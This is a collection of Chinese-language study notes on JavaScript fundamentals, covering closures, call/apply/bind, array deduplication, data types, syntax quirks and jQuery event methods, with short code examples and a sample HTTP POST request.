  1. 闭包指一个函数或函数的引用与一个引用环境绑定在一起,这个引用环境是一个存储该函数每个自由变量的表。简单的说就是自由变量和引用这个自由变量的函数就是闭包。闭包可以读取其上作用域链中的值。

    1
    2
    3
    4
    5
    var a = 1
    function fn(){
    console.log(a)
    }
    fn.call(undefined) // 调用之后,会打印出1

    上述的变量 a 和函数 fn 即是闭包

  2. 当我们在写代码的时候,会在无形之中就使用到了闭包。

  • 用途一:读取其上作用域链中的值。例如在全局作用域中定义了 a 和函数 fn,在 fn 中并没有定义 a ,但是却可以使用全局变量 a。参照上面例子。

  • 用途二:让自由变量保存在内存中,即封装变量
    在全局代码执行的时候,会产生一个全局执行上下文环境(Execution Context)。调用函数的时候,会产生一个函数执行上下文环境(Execution Context)。当函数调用结束后,函数执行上下文环境和其中的数据将被消除,重新回到全局执行上下文环境。但是当在函数执行上下文的环境中存在闭包,那么即使这个函数调用完成,其执行上下文环境也不会被消除,因为还有闭包被引用着。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    function fn1(){
    var a = 1
    addA = function(){ // 此处不用 var 声明,从而创建一个全局变量,但是其可以引用局部变量 a
    a++
    }
    function fn2(){
    console.log(a)
    }
    return fn2
    }
    result = fn1.call(undefined)
    result() // 打印出 1
    addA()
    result() // 打印出 1

    当调用完 fn1 之后,局部变量 a 并不能被垃圾回收,因为 fn1 返回的函数仍然调用局部变量 a ,此时的局部变量 a 就被保存在内存中

    在函数内部定义局部变量,外部不能访问,但是闭包仍能访问到这个局部变量,外部如果要访问局部变量,只能通过函数 return 出来的接口。

call、apply、bind

这三个方法都挂载在 Function.prototype 上,都是函数的方法,可以调用函数

call()

  • 作用:
    切换上下文(this)
    操作参数

  • 当使用 call() 调用一个函数的时候,call() 的第一个参数是 this ,第二个参数是需要传递给函数的实参(arguments)。

    1
    fn.call( this , arguments )

apply()

  • 作用:

    切换上下文(this)
    操作参数

  • 当使用 apply() 调用一个函数的时候,apply() 的第一个参数是 this,第二个参数是一个数组,apply() 方法会将数组中的元素拆分依次传入到函数中。

    1
    fn.apply( this , [ 1,2,3 ] )

bind()

  • 作用:

    切换上下文(this)
    科里化,即部分求值,函数调用是可以传递参数,之后返回的函数(闭包)也可以接收参数

  • 当使用 bind() 调用一个函数的时候,bind() 方法会返回一个函数,他的第一个参数是 this ,第二个参数是需要传递给函数的实参

    1
    2
    let curryFn = fn.bind( this , param1 , param2 )
    curryFn( param3 , param4 )

HTTP POST 请求

1
2
3
4
5
6
7
8
1 POST /path HTTP/1.1
2 Host: passport.baidu.com
2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36
2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
2 Content-Length: 24
2 Content-Type: application/x-www-form-urlencoded
3
4 username=ff&password=123

数组去重

对象键值对法。遍历数组时看对象中是否有 key

1
2
3
4
5
6
7
8
9
10
11
function unique(arr){
var newArray = []
var obj = {}
for( var i = 0, len = arr.length; i < len; i++ ){
if( !obj[ arr[ i ] ] ){
obj[ arr[ i ] ] = 1
newArray.push( arr[ i ] )
}
}
return newArray
}

Set 对象

1
2
3
function unique(arr){
return newArr = Array.from(new Set(arr))
}

数组下标判断。遍历数组是看相应值的下标是否和索引相同

1
2
3
4
5
6
7
8
9
function unique(arr){
let newArray = []
arr.forEach( (value,index) => {
if( array.indexOf( value ) === index ){
newArray.push( value )
}
} )
return newArray
}

遍历数组法。遍历数组时看新数组中有没有该值

1
2
3
4
5
6
7
8
9
function unique(arr){
let newArray = []
arr.forEach( (value,index) => {
if( !newArray.includes( value ) ){
newArray.push( value )
}
} )
return newArray
}

JS系列 -- Array 浅析之相关 API

判断数组

1
Array.isArray( arguments )

原型

实例化对象的 __proto__ 指向构造函数的 prototype

1
2
3
4
5
6
7
8
9
10
11
12
typeof Array === 'function'

Array instanceof Function === true
Array.__proto__ === Function.prototype

Array instanceof Object === true
Array.__proto__.__proto__ === Object.prototype

let arr = []
arr.__proto__ === Arr.prototype
arr.__proto__.__proto__ === Object.prototype
arr.__proto__.constructor === Array

需求

需求一

1
2
3
4
let arr1 = ['a']
let arr2 = [ 'b' , 'c' ]
数组 arr1 ==> [ 'a', 'b', 'c' ]
数组 arr2 不变
解决方法
1
2
3
4
1. arr1 = arr.concat(arr2)
2. arr2.forEach( (item) => {arr1.push(item)} )
3. arr1.push( ...arr2 )
4. [].push.apply( arr1, arr2 )

需求二

1
2
3
4
5
function max(){
// 代码
}
max(1,2,3) // 3
max( 1,4 ) // 4
解决方法
1
2
1. return Math.max(...arguments)
2. return Math.max.apply( null, arguments )

需求三

arguments 转化为 Array

解决方法
1
2
1. args = Array.from( arguments )
2. args = [].slice.call( arguments )

需求四

1
2
3
4
function repeat( str, num ){
// 代码
}
repeat( 'abc', 3 ) // 'abcabcabc'
解决方法
1
return Array( num + 1 ).join( str )

需求五

1
2
arr = [ 'a', 'b', 'c' ]
判断 'b' 在不在 arr 里面
解决方法
1
2
arr.indexOf( 'b' ) !== -1  // true ==> 在   false ==> 不在
arr.includes( 'b' ) // 直接返回 true | false

需求五升级

1
2
let arr = [ {name: 'xiaoming'}, {name: 'xiaozhang'} ]
查看数组中是否有叫小明的人
解决方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
1. arr.forEach((item) => {
if(item.name === 'xiaoming'){
console.log('true')
}
})
// forEach 方法返回 undefined ,没有想到怎么取得它的结果,目前只能 console.log('true')
2. let it = arr.find( (item) => {
return item.name === 'xiaoming'
})
console.log(it) // {name: "xiaoming"}
3. let it = arr.findIndex((item) => {
return item.name === 'xiaoming'
})
console.log(it) // 0

需求六

1
2
3
let arr = [ 20, 30, 40 ]
使得 arr 中每个元素 +5
arr ==> [ 25, 35, 45 ]
解决方法
1
2
3
4
5
6
1. arr.map( (item) => {
return item + 5
})
2. arr.forEach( (item, index, ctx) => {
ctx[ index ] = item + 5
})

需求七

1
2
3
4
5
let obj = { name: 'xiaoming', age: 20, id: 123456789 }
function validPerson( person ){
// 如果有 名字 | id 就有效
// 代码
}
解决方案
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1. if(person.hasOwnProperty( 'name' ) || person.hasOwnProperty( 'id' )){
return true
}
return false
2.
let obj = { name: 'xiaoming', age: 20, id: 123456789 }
let validFileds = [ 'name', 'id' ]
function validPerson( person ){
return validFileds.some( (item) => {
return person.hasOwnProperty( item )
})
}
3.
let obj = { name: 'xiaoming', age: 20, id: 123456789 }
let validFileds = [ 'name', 'id' ]
function validPerson( person ){
return validFileds.some( Object.prototype.hasOwnProperty, person )
}

JS系列 -- 基本概念(二)数据类型

概述

  1. 基本数据类型(简单数据类型):
    • 数值
    • 字符串
    • 布尔值
    • undefined
    • null
    • Symbol
  2. 复杂数据类型:
    • Object ==> 由一组无序的键值对组成,即哈希。分为 狭义对象 数组 函数
  3. 原始类型:字符串 数值 布尔值
  4. 合成类型:对象
  5. 特殊值:undefined null

判断类型

方法:

  1. typeof 运算符:返回一个值的数据类型(字符串)
    • “undefined” ==> 如果这个值 未定义
    • “boolean” ==> 如果这个值是 布尔值
    • “string” ==> 如果这个值是 字符串
    • “number” ==> 如果这个值是 数值
    • “Object” ==> 如果这个值是 对象null
    • “function” ==> 如果这个值 函数
  2. instanceof 运算符
  3. Object.prototype.toString方法

注意:

  1. 没有 Array 类型
  2. 未初始化的变量执行 typeof 操作符会返回 undefined 值
  3. 未声明的变量执行 typeof 操作符会返回 undefined 值

数值

NaN

非数值,是一个特殊的数值(typeof NaN ==> number)

  • 任何涉及 NaN 的操作都会返回 NaN
  • NaN 与任何值都不相等,包括 NaN 本身

转换类型(3函数 2操作符)

  • Number() ==> 可以用于任何函数
  • parseInt() ==> 用于将字符串转换为数值 parseInt("") //NaN
  • parseFloat() ==> 用于将字符串转换为数值
  • 一元 + 操作符 ==> 等价于 Number()
  • ' - 0 ' //任意一个类型减去0

parseInt('s') ==> NaN

字符串

概述

字符串默认只能写在一行内,分成多行将会报错。

  • 如果长字符串必须分成多行,可以在每一行的尾部使用反斜杠
    注意:反斜杠的后面必须是换行符,而不能有其他字符(比如空格),否则会报错。
  • 连接运算符(+)可以连接多个单行字符串,将长字符串拆成多行书写,输出的时候也是单行

特点

字符串是不可变的,字符串一旦创建,值就不能改变,要改变某个变量保存的字符串,首先要销毁原来的字符串,然后再用另一个包含新值的字符串填充该变量

length属性

返回字符串的长度,该属性也是无法改变的

字符字面量(转义符)

反斜杠(\)在字符串内有特殊含义,用来表示非打印,所以又称为字符字面量(转义符)。

1
2
3
4
5
6
7
8
9
10
\0 :null(\u0000)
\b :后退键(\u0008)
\f :换页符(\u000C)
\n :换行符(\u000A)
\r :回车键(\u000D)
\t :制表符(\u0009)
\v :垂直制表符(\u000B)
\' :单引号(\u0027)
\" :双引号(\u0022)
\\ :反斜杠(\u005C)

如果在非特殊字符前面使用反斜杠,则反斜杠会被省略。

字符串与数组

字符串可以被视为字符数组,因此可以使用数组的方括号运算符,用来返回某个位置的字符(位置编号从0开始)。
无法改变字符串之中的单个字符。

类型转换

转换为字符串

  1. 一元 + 号操作符
  2. String()
  3. toString()

布尔值

falsy : 在 Boolean 上下文中认定可转换为 false 的值 ( 5个假值 )

1
2
3
4
5
6
false
0
NaN
''
null
undefined

空数组([])和空对象({})对应的布尔值,都是true。

转换类型

转换为布尔值

  1. Boolean()
  2. !! //取反再取反

null 和 undefined 区别

  • null是一个表示“空”的对象,转为数值时为0。
  • null表示空值,即该处的值现在为空。调用函数时,某个参数未设置任何值,这时就可以传入null,表示该参数为空。

  • undefined是一个表示”此处无定义”的原始值,转为数值时为NaN。返回undefined的情景。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    // 变量声明了,但没有赋值
    var i;
    i // undefined

    // 调用函数时,应该提供的参数没有提供,该参数等于 undefined
    function f(x) {
    return x;
    }
    f() // undefined

    // 对象没有赋值的属性
    var o = new Object();
    o.p // undefined

    // 函数没有返回值时,默认返回 undefined
    function f() {}
    f() // undefined

JS系列 -- 基本概念(一)基础

语法

区分大小写

ECMAScript 中的一切(变量 函数名和操作符)都区分大小写

标识符

标识符:标识符(identifier)指的是用来识别各种值的合法名称,变量、函数、属性的名字或者是函数的参数都是标识符

规则:
  • 第一个字符必须是一个字母、下划线(_)或一个美元符号($)
  • 其他字符可以是字母、数字、下划线或者美元符号
    中文是合法的标识符,可以用作变量名。

书写格式

ECMAScript 中标识符 推荐 采用 “驼峰大小写(camelCase)” 书写格式。
还有 “短横线分隔命名(kebab-case)” 书写格式和 “单词首字母大写(PascalCase)” 书写格式。

语句

JavaScript 程序的执行单位为行(line),也就是一行一行地执行。一般情况下,每一行就是一个语句。

  • 语句(statement)是为了完成某种任务而进行的操作
  • 表达式(expression):指一个为了得到返回值的计算式。
语句和表达式的区别:
  • 语句主要为了进行某种操作,一般情况下不需要返回值;
  • 表达式则是为了得到返回值,一定会返回一个值。
  • 语句以分号结尾,一个分号就表示一个语句结束。
  • 分号前面可以没有任何内容,JavaScript引擎将其视为空语句。
  • 表达式不需要分号结尾。一旦在表达式后面添加分号,则 JavaScript 引擎就将表达式视为语句,这样会产生一些没有任何意义的语句。

注释

1
// 单行注释
1
2
3
4
/*
*这是一个
*多行注释
*/
1
<!--  合法的单行注释   -->

在使用编辑器时,快捷键为 Ctrl + ?

关键字和保留字

关键字和保留字具有特定的用途,不能用作标识符。

变量

ECMAScript 中的变量是松散类型的,所谓松散类型就是可以用来保存任何类型的数据

定义:

定义变量时使用 var 操作符,var 操作符定义的变量将成为定义该变量的作用域中的局部变量

套路

1
2
var a = // 2
1

结果:a = 1

1
2
3
var a = 1
if(a = 3)
console.log('a等于3')

结果:打印出:a等于3

1
2
var a = 
1

结果:合法,等价于 a = 1

1
2
var a = /* 2 */
1

结果:a = 1

jQuery系列(四) -- 事件

鼠标事件

  1. .click() ==> 单击事件

  2. .dblclick() ==> 双击事件

  3. .mousedown() ==> 鼠标按键按下时触发

  4. .mouseup() ==> 鼠标按键释放时触发

  5. .mousemove() ==> 鼠标指针在元素内移动时触发

  6. .mouseover() ==> 当鼠标指针进入元素内触发(冒泡)

  7. .mouseout() ==> 当鼠标指针离开元素时触发(冒泡)

  8. .mouseenter() ==> 当鼠标移入到元素上时触发(不冒泡)

  9. .mouseleave() ==> 当鼠标离开元素上时触发(不冒泡)
    说明:.mouseenter().mouseleave() 事件只会在绑定它的元素上被调用,而不会在后代节点上触发

  10. .hover() ==> 将两个事件函数绑定到匹配元素上,分别当鼠标指针进入和离开元素时被执行。.hover() === .mouseenter() + .mouseleave()

  11. .focusin() ==> 元素获得焦点时触发

  12. focusout() ==> 元素失去焦点时触发

表单事件

  1. .focus() ==> 当元素获得焦点时
  2. .blur() ==> 当元素失去焦点时
    说明:.focus().blur() 不支持冒泡事件,只有绑定自身才有效;.focusin()focusout() 支持冒泡事件

  3. .change() ==> 监听 <input><textarea><select> 元素值改变

  4. .select() ==> 当在元素中进行文本选择时,此事件只能用在 <input type="text"><textarea>

  5. .submit() ==> 监听表单提交事件

键盘事件

  1. .keydown() ==> 当在一个元素上第一次按下键盘上的键的时。每次获取的内容是之前输入的,当前输入的获取不到

  2. .keyup() ==> 当在一个元素上释放按键的时。获取的是触发键盘事件后的文本

  3. .keypress() ==> 当浏览器捕获一个元素上键盘输入时。只能捕获单个字符;无法相应系统功能键;不区分小键盘和主键盘的数字字符

说明:.keypress() 主要接收字母、数字等 ANSI 字符,而 .keydown().keyup() 事件过程可以处理任何不被 .keypress() 识别的击键

多事件

  1. .on() ==> 多事件绑定

    • 多个事件绑定同一函数
      $( 'ele' ).on( 'mouseover mouseout', () => {} )
    • 多个事件绑定不同函数
      1
      2
      3
      4
      $( 'ele' ).on( {
      mouseover: () => {},
      mouseout: () => {}
      } )
  2. .off() ==> 移除绑定事件